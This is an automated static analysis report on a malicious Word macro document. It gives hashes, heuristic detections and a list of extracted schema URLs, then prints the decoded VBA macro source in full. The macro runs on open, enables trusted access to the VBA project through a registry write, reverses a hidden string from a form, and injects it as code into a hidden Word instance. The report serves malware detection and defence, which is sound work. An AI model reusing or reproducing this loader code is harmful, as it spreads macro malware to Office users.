Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c7b123a40c4365ab…

MALICIOUS

Office (OOXML)

76.0 KB Created: 2021-05-07 10:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-15
MD5: 9c1c565aec0abd31e8b807f281be427b SHA-1: d5617e377d1791ac476a273f31a556aa8bf7b70b SHA-256: c7b123a40c4365abeb3d36700dba12eee1fad4dd37fb7f52a1cd517929ff52d5
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    With CreateObject("wscript.shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .AddFromString procReferenceGlobal
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set requestArray = CreateObject("word.application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1993 bytes
SHA-256: 0f8e8a20bb21678b83fb621cae1e3d25de6bbf6a403df77179b2c2182072eb77
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{E48D5C6B-9EED-4580-B64D-7ECB94757E90}{F09486D0-55C6-4BBF-BD58-171CF8CA79C1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "collectionTrustSize"
Sub autoopen()
screenCaptionValue
Dim varTempFunc As String
varTempFunc = listBufA
arraySwapLocal varTempFunc
End Sub

Attribute VB_Name = "storageRightData"
Sub arraySwapLocal(procReferenceGlobal As String)
Set requestArray = CreateObject("word.application")
With requestArray.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString procReferenceGlobal
End With
requestArray.Visible = False
requestArray.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "storageVariable"
Function exceptionQueryNamespace() As String
exceptionQueryNamespace = Application.Version
End Function
Sub bufQuery()
With CreateObject("wscript.shell")
.RegWrite leftDataMem("procedureGlobalTitle") & exceptionQueryNamespace & documentMemoryEx("collectionPointerTrust"), 1, "REG_DWORD"
End With
End Sub
Function leftDataMem(leftTextQuery)
leftDataMem = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
End Function
Function documentMemoryEx(leftTextQuery)
documentMemoryEx = "\Word\Security\" & variableConstClass("variableRight")
End Function
Function variableConstClass(leftTextQuery)
variableConstClass = Replace("1BOM", "1", "AccessV")
End Function
Sub screenCaptionValue()
bufQuery
End Sub
Function listBufA()
listBufA = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 48f9538c76e548339851c91c37d59216f87ece41285fc4ffaaa18deeb48b9c5b

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